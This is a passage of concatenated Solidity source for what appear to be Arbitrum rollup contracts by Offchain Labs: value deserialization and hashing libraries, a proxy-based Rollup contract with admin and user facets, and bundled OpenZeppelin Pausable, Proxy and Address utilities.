require(data.length >= startOffset && data.length - startOffset >= 64, "too short");
bytes32 hashData;
uint256 size;
(offset, hashData) = extractBytes32(data, startOffset);
(offset, size) = deserializeInt(data, offset);
return (offset, Value.newTuplePreImage(hashData, size));
}
function deserializeInt(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
uint256 // val
)
{
require(data.length >= startOffset && data.length - startOffset >= 32, "too short");
return (startOffset + 32, data.toUint(startOffset));
}
function deserializeBytes32(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
bytes32 // val
)
{
require(data.length >= startOffset && data.length - startOffset >= 32, "too short");
return (startOffset + 32, data.toBytes32(startOffset));
}
function deserializeCodePoint(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
Value.Data memory // val
)
{
uint256 offset = startOffset;
uint8 immediateType;
uint8 opCode;
Value.Data memory immediate;
bytes32 nextHash;
(offset, immediateType) = extractUint8(data, offset);
(offset, opCode) = extractUint8(data, offset);
if (immediateType == 1) {
(offset, immediate) = deserialize(data, offset);
}
(offset, nextHash) = extractBytes32(data, offset);
if (immediateType == 1) {
return (offset, Value.newCodePoint(opCode, nextHash, immediate));
}
return (offset, Value.newCodePoint(opCode, nextHash));
}
function deserializeTuple(
uint8 memberCount,
bytes memory data,
uint256 startOffset
)
internal
pure
returns (
uint256, // offset
Value.Data[] memory // val
)
{
uint256 offset = startOffset;
Value.Data[] memory members = new Value.Data[](memberCount);
for (uint8 i = 0; i < memberCount; i++) {
(offset, members[i]) = deserialize(data, offset);
}
return (offset, members);
}
function deserialize(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
Value.Data memory // val
)
{
require(startOffset < data.length, "invalid offset");
(uint256 offset, uint8 valType) = extractUint8(data, startOffset);
if (valType == Value.intTypeCode()) {
uint256 intVal;
(offset, intVal) = deserializeInt(data, offset);
return (offset, Value.newInt(intVal));
} else if (valType == Value.codePointTypeCode()) {
return deserializeCodePoint(data, offset);
} else if (valType == Value.bufferTypeCode()) {
bytes32 hashVal;
(offset, hashVal) = deserializeBytes32(data, offset);
return (offset, Value.newBuffer(hashVal));
} else if (valType == Value.tuplePreImageTypeCode()) {
return deserializeHashPreImage(data, offset);
} else if (valType >= Value.tupleTypeCode() && valType < Value.valueTypeCode()) {
uint8 tupLength = uint8(valType - Value.tupleTypeCode());
Value.Data[] memory tupleVal;
(offset, tupleVal) = deserializeTuple(tupLength, data, offset);
return (offset, Value.newTuple(tupleVal));
}
require(false, "invalid typecode");
}
function extractUint8(bytes memory data, uint256 startOffset)
private
pure
returns (
uint256, // offset
uint8 // val
)
{
return (startOffset + 1, uint8(data[startOffset]));
}
function extractBytes32(bytes memory data, uint256 startOffset)
private
pure
returns (
uint256, // offset
bytes32 // val
)
{
return (startOffset + 32, data.toBytes32(startOffset));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./ICloneable.sol";
contract Cloneable is ICloneable {
string private constant NOT_CLONE = "NOT_CLONE";
bool private isMasterCopy;
constructor() public {
isMasterCopy = true;
}
function isMaster() external view override returns (bool) {
return isMasterCopy;
}
function safeSelfDestruct(address payable dest) internal {
require(!isMasterCopy, NOT_CLONE);
selfdestruct(dest);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./RollupEventBridge.sol";
import "./RollupCore.sol";
import "./RollupLib.sol";
import "./INode.sol";
import "./INodeFactory.sol";
import "../challenge/IChallenge.sol";
import "../challenge/IChallengeFactory.sol";
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/IOutbox.sol";
import "../bridge/Messages.sol";
import "../libraries/ProxyUtil.sol";
import "../libraries/Cloneable.sol";
import "./facets/IRollupFacets.sol";
abstract contract RollupBase is Cloneable, RollupCore, Pausable {
// Rollup Config
uint256 public confirmPeriodBlocks;
uint256 public extraChallengeTimeBlocks;
uint256 public avmGasSpeedLimitPerBlock;
uint256 public baseStake;
// Bridge is an IInbox and IOutbox
IBridge public delayedBridge;
ISequencerInbox public sequencerBridge;
IOutbox public outbox;
RollupEventBridge public rollupEventBridge;
IChallengeFactory public challengeFactory;
INodeFactory public nodeFactory;
address public owner;
address public stakeToken;
uint256 public minimumAssertionPeriod;
uint256 public STORAGE_GAP_1;
uint256 public STORAGE_GAP_2;
uint256 public challengeExecutionBisectionDegree;
address[] internal facets;
mapping(address => bool) isValidator;
/// @notice DEPRECATED -- this method is deprecated but still mantained for backward compatibility
/// @dev this actually returns the avmGasSpeedLimitPerBlock
/// @return this actually returns the avmGasSpeedLimitPerBlock
function arbGasSpeedLimitPerBlock() external view returns (uint256) {
return avmGasSpeedLimitPerBlock;
}
}
contract Rollup is Proxy, RollupBase {
using Address for address;
constructor(uint256 _confirmPeriodBlocks) public Cloneable() Pausable() {
// constructor is used so logic contract can't be init'ed
confirmPeriodBlocks = _confirmPeriodBlocks;
require(isInit(), "CONSTRUCTOR_NOT_INIT");
}
function isInit() internal view returns (bool) {
return confirmPeriodBlocks != 0;
}
// _rollupParams = [ confirmPeriodBlocks, extraChallengeTimeBlocks, avmGasSpeedLimitPerBlock, baseStake ]
// connectedContracts = [delayedBridge, sequencerInbox, outbox, rollupEventBridge, challengeFactory, nodeFactory]
function initialize(
bytes32 _machineHash,
uint256[4] calldata _rollupParams,
address _stakeToken,
address _owner,
bytes calldata _extraConfig,
address[6] calldata connectedContracts,
address[2] calldata _facets,
uint256[2] calldata sequencerInboxParams
) public {
require(!isInit(), "ALREADY_INIT");
// calls initialize method in user facet
require(_facets[0].isContract(), "FACET_0_NOT_CONTRACT");
require(_facets[1].isContract(), "FACET_1_NOT_CONTRACT");
(bool success, ) = _facets[1].delegatecall(
abi.encodeWithSelector(IRollupUser.initialize.selector, _stakeToken)
);
require(success, "FAIL_INIT_FACET");
delayedBridge = IBridge(connectedContracts[0]);
sequencerBridge = ISequencerInbox(connectedContracts[1]);
outbox = IOutbox(connectedContracts[2]);
delayedBridge.setOutbox(connectedContracts[2], true);
rollupEventBridge = RollupEventBridge(connectedContracts[3]);
delayedBridge.setInbox(connectedContracts[3], true);
rollupEventBridge.rollupInitialized(
_rollupParams[0],
_rollupParams[2],
_owner,
_extraConfig
);
challengeFactory = IChallengeFactory(connectedContracts[4]);
nodeFactory = INodeFactory(connectedContracts[5]);
INode node = createInitialNode(_machineHash);
initializeCore(node);
confirmPeriodBlocks = _rollupParams[0];
extraChallengeTimeBlocks = _rollupParams[1];
avmGasSpeedLimitPerBlock = _rollupParams[2];
baseStake = _rollupParams[3];
owner = _owner;
// A little over 15 minutes
minimumAssertionPeriod = 75;
challengeExecutionBisectionDegree = 400;
sequencerBridge.setMaxDelay(sequencerInboxParams[0], sequencerInboxParams[1]);
// facets[0] == admin, facets[1] == user
facets = _facets;
emit RollupCreated(_machineHash);
require(isInit(), "INITIALIZE_NOT_INIT");
}
function postUpgradeInit() external {
// it is assumed the rollup contract is behind a Proxy controlled by a proxy admin
// this function can only be called by the proxy admin contract
address proxyAdmin = ProxyUtil.getProxyAdmin();
require(msg.sender == proxyAdmin, "NOT_FROM_ADMIN");
// this upgrade moves the delay blocks and seconds tracking to the sequencer inbox
// because of that we need to update the admin facet logic to allow the owner to set
// these values in the sequencer inbox
STORAGE_GAP_1 = 0;
STORAGE_GAP_2 = 0;
}
function createInitialNode(bytes32 _machineHash) private returns (INode) {
bytes32 state = RollupLib.stateHash(
RollupLib.ExecutionState(
0, // total gas used
_machineHash,
0, // inbox count
0, // send count
0, // log count
0, // send acc
0, // log acc
block.number, // block proposed
1 // Initialization message already in inbox
)
);
return
INode(
nodeFactory.createNode(
state,
0, // challenge hash (not challengeable)
0, // confirm data
0, // prev node
block.number // deadline block (not challengeable)
)
);
}
/**
* This contract uses a dispatch pattern from EIP-2535: Diamonds
* together with Open Zeppelin's proxy
*/
function getFacets() external view returns (address, address) {
return (getAdminFacet(), getUserFacet());
}
function getAdminFacet() public view returns (address) {
return facets[0];
}
function getUserFacet() public view returns (address) {
return facets[1];
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual override returns (address) {
require(msg.data.length >= 4, "NO_FUNC_SIG");
address rollupOwner = owner;
// if there is an owner and it is the sender, delegate to admin facet
address target = rollupOwner != address(0) && rollupOwner == msg.sender
? getAdminFacet()
: getUserFacet();
require(target.isContract(), "TARGET_NOT_CONTRACT");
return target;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library Messages {
function messageHash(
uint8 kind,
address sender,
uint256 blockNumber,
uint256 timestamp,
uint256 inboxSeqNum,
uint256 gasPriceL1,
bytes32 messageDataHash
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
kind,
sender,
blockNumber,
timestamp,
inboxSeqNum,
gasPriceL1,
messageDataHash
)
);
}
function addMessageToInbox(bytes32 inbox, bytes32 message) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(inbox, message));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library Value {
uint8 internal constant INT_TYPECODE = 0;
uint8 internal constant CODE_POINT_TYPECODE = 1;
uint8 internal constant HASH_PRE_IMAGE_TYPECODE = 2;
uint8 internal constant TUPLE_TYPECODE = 3;
uint8 internal constant BUFFER_TYPECODE = TUPLE_TYPECODE + 9;
// All values received from clients will have type codes less than the VALUE_TYPE_COUNT
uint8 internal constant VALUE_TYPE_COUNT = TUPLE_TYPECODE + 10;
// The following types do not show up in the marshalled format and is
// only used for internal tracking purposes
uint8 internal constant HASH_ONLY = 100;
struct CodePoint {
uint8 opcode;
bytes32 nextCodePoint;
Data[] immediate;
}
struct Data {
uint256 intVal;
CodePoint cpVal;
Data[] tupleVal;
bytes32 bufferHash;
uint8 typeCode;
uint256 size;
}
function tupleTypeCode() internal pure returns (uint8) {
return TUPLE_TYPECODE;
}
function tuplePreImageTypeCode() internal pure returns (uint8) {
return HASH_PRE_IMAGE_TYPECODE;
}
function intTypeCode() internal pure returns (uint8) {
return INT_TYPECODE;
}
function bufferTypeCode() internal pure returns (uint8) {
return BUFFER_TYPECODE;
}
function codePointTypeCode() internal pure returns (uint8) {
return CODE_POINT_TYPECODE;
}
function valueTypeCode() internal pure returns (uint8) {
return VALUE_TYPE_COUNT;
}
function hashOnlyTypeCode() internal pure returns (uint8) {
return HASH_ONLY;
}
function isValidTupleSize(uint256 size) internal pure returns (bool) {
return size <= 8;
}
function typeCodeVal(Data memory val) internal pure returns (Data memory) {
if (val.typeCode == 2) {
// Map HashPreImage to Tuple
return newInt(TUPLE_TYPECODE);
}
return newInt(val.typeCode);
}
function valLength(Data memory val) internal pure returns (uint8) {
if (val.typeCode == TUPLE_TYPECODE) {
return uint8(val.tupleVal.length);
} else {
return 1;
}
}
function isInt(Data memory val) internal pure returns (bool) {
return val.typeCode == INT_TYPECODE;
}
function isInt64(Data memory val) internal pure returns (bool) {
return val.typeCode == INT_TYPECODE && val.intVal < (1 << 64);
}
function isCodePoint(Data memory val) internal pure returns (bool) {
return val.typeCode == CODE_POINT_TYPECODE;
}
function isTuple(Data memory val) internal pure returns (bool) {
return val.typeCode == TUPLE_TYPECODE;
}
function isBuffer(Data memory val) internal pure returns (bool) {
return val.typeCode == BUFFER_TYPECODE;
}
function newEmptyTuple() internal pure returns (Data memory) {
return newTuple(new Data[](0));
}
function newBoolean(bool val) internal pure returns (Data memory) {
if (val) {
return newInt(1);
} else {
return newInt(0);
}
}
function newInt(uint256 _val) internal pure returns (Data memory) {
return
Data(_val, CodePoint(0, 0, new Data[](0)), new Data[](0), 0, INT_TYPECODE, uint256(1));
}
function newHashedValue(bytes32 valueHash, uint256 valueSize)
internal
pure
returns (Data memory)
{
return
Data(
uint256(valueHash),
CodePoint(0, 0, new Data[](0)),
new Data[](0),
0,
HASH_ONLY,
valueSize
);
}
function newTuple(Data[] memory _val) internal pure returns (Data memory) {
require(isValidTupleSize(_val.length), "Tuple must have valid size");
uint256 size = 1;
for (uint256 i = 0; i < _val.length; i++) {
size += _val[i].size;
}
return Data(0, CodePoint(0, 0, new Data[](0)), _val, 0, TUPLE_TYPECODE, size);
}
function newTuplePreImage(bytes32 preImageHash, uint256 size)
internal
pure
returns (Data memory)
{
return
Data(
uint256(preImageHash),
CodePoint(0, 0, new Data[](0)),
new Data[](0),
0,
HASH_PRE_IMAGE_TYPECODE,
size
);
}
function newCodePoint(uint8 opCode, bytes32 nextHash) internal pure returns (Data memory) {
return newCodePoint(CodePoint(opCode, nextHash, new Data[](0)));
}
function newCodePoint(
uint8 opCode,
bytes32 nextHash,
Data memory immediate
) internal pure returns (Data memory) {
Data[] memory imm = new Data[](1);
imm[0] = immediate;
return newCodePoint(CodePoint(opCode, nextHash, imm));
}
function newCodePoint(CodePoint memory _val) private pure returns (Data memory) {
return Data(0, _val, new Data[](0), 0, CODE_POINT_TYPECODE, uint256(1));
}
function newBuffer(bytes32 bufHash) internal pure returns (Data memory) {
return
Data(
uint256(0),
CodePoint(0, 0, new Data[](0)),
new Data[](0),
bufHash,
BUFFER_TYPECODE,
uint256(1)
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Value.sol";
library Hashing {
using Hashing for Value.Data;
using Value for Value.CodePoint;
function keccak1(bytes32 b) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(b));
}
function keccak2(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(a, b));
}
function bytes32FromArray(
bytes memory arr,
uint256 offset,
uint256 arrLength
) internal pure returns (uint256) {
uint256 res = 0;
for (uint256 i = 0; i < 32; i++) {
res = res << 8;
bytes1 b = arrLength > offset + i ? arr[offset + i] : bytes1(0);
res = res | uint256(uint8(b));
}
return res;
}
/*
* !! Note that dataLength must be a power of two !!
*
* If you have an arbitrary data length, you can round it up with roundUpToPow2.
* The boolean return value tells if the data segment data[startOffset..startOffset+dataLength] only included zeroes.
* If pack is true, the returned value is the merkle hash where trailing zeroes are ignored, that is,
* if h is the smallest height for which all data[startOffset+2**h..] are zero, merkle hash of data[startOffset..startOffset+2**h] is returned.
* If all elements in the data segment are zero (and pack is true), keccak1(bytes32(0)) is returned.
*/
function merkleRoot(
bytes memory data,
uint256 rawDataLength,
uint256 startOffset,
uint256 dataLength,
bool pack
) internal pure returns (bytes32, bool) {
if (dataLength <= 32) {
if (startOffset >= rawDataLength) {
return (keccak1(bytes32(0)), true);
}
bytes32 res = keccak1(bytes32(bytes32FromArray(data, startOffset, rawDataLength)));
return (res, res == keccak1(bytes32(0)));
}
(bytes32 h2, bool zero2) =
merkleRoot(data, rawDataLength, startOffset + dataLength / 2, dataLength / 2, false);
if (zero2 && pack) {
return merkleRoot(data, rawDataLength, startOffset, dataLength / 2, pack);
}
(bytes32 h1, bool zero1) =
merkleRoot(data, rawDataLength, startOffset, dataLength / 2, false);
return (keccak2(h1, h2), zero1 && zero2);
}
function roundUpToPow2(uint256 len) internal pure returns (uint256) {
if (len <= 1) return 1;
else return 2 * roundUpToPow2((len + 1) / 2);
}
function bytesToBufferHash(
bytes memory buf,
uint256 startOffset,
uint256 length
) internal pure returns (bytes32) {
(bytes32 mhash, ) =
merkleRoot(buf, startOffset + length, startOffset, roundUpToPow2(length), true);
return keccak2(bytes32(uint256(123)), mhash);
}
function hashInt(uint256 val) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(val));
}
function hashCodePoint(Value.CodePoint memory cp) internal pure returns (bytes32) {
assert(cp.immediate.length < 2);
if (cp.immediate.length == 0) {
return
keccak256(abi.encodePacked(Value.codePointTypeCode(), cp.opcode, cp.nextCodePoint));
}
return
keccak256(
abi.encodePacked(
Value.codePointTypeCode(),
cp.opcode,
cp.immediate[0].hash(),
cp.nextCodePoint
)
);
}
function hashTuplePreImage(bytes32 innerHash, uint256 valueSize)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(uint8(Value.tupleTypeCode()), innerHash, valueSize));
}
function hash(Value.Data memory val) internal pure returns (bytes32) {
if (val.typeCode == Value.intTypeCode()) {
return hashInt(val.intVal);
} else if (val.typeCode == Value.codePointTypeCode()) {
return hashCodePoint(val.cpVal);
} else if (val.typeCode == Value.tuplePreImageTypeCode()) {
return hashTuplePreImage(bytes32(val.intVal), val.size);
} else if (val.typeCode == Value.tupleTypeCode()) {
Value.Data memory preImage = getTuplePreImage(val.tupleVal);
return preImage.hash();
} else if (val.typeCode == Value.hashOnlyTypeCode()) {
return bytes32(val.intVal);
} else if (val.typeCode == Value.bufferTypeCode()) {
return keccak256(abi.encodePacked(uint256(123), val.bufferHash));
} else {
require(false, "Invalid type code");
}
}
function getTuplePreImage(Value.Data[] memory vals) internal pure returns (Value.Data memory) {
require(vals.length <= 8, "Invalid tuple length");
bytes32[] memory hashes = new bytes32[](vals.length);
uint256 hashCount = hashes.length;
uint256 size = 1;
for (uint256 i = 0; i < hashCount; i++) {
hashes[i] = vals[i].hash();
size += vals[i].size;
}
bytes32 firstHash = keccak256(abi.encodePacked(uint8(hashes.length), hashes));
return Value.newTuplePreImage(firstHash, size);
}
}
// SPDX-License-Identifier: MIT
/*
* @title Solidity Bytes Arrays Utils
* @author Gonçalo Sá <[email protected]>
*
* @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
* The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
*/
pragma solidity ^0.6.11;
/* solhint-disable no-inline-assembly */
library BytesLib {
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20), "Read out of bounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint256 _start) internal pure returns (uint8) {
require(_bytes.length >= (_start + 1), "Read out of bounds");
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint(bytes memory _bytes, uint256 _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32), "Read out of bounds");
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes32(bytes memory _bytes, uint256 _start) internal pure returns (bytes32) {
require(_bytes.length >= (_start + 32), "Read out of bounds");
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
}
/* solhint-enable no-inline-assembly */
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface ICloneable {
function isMaster() external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
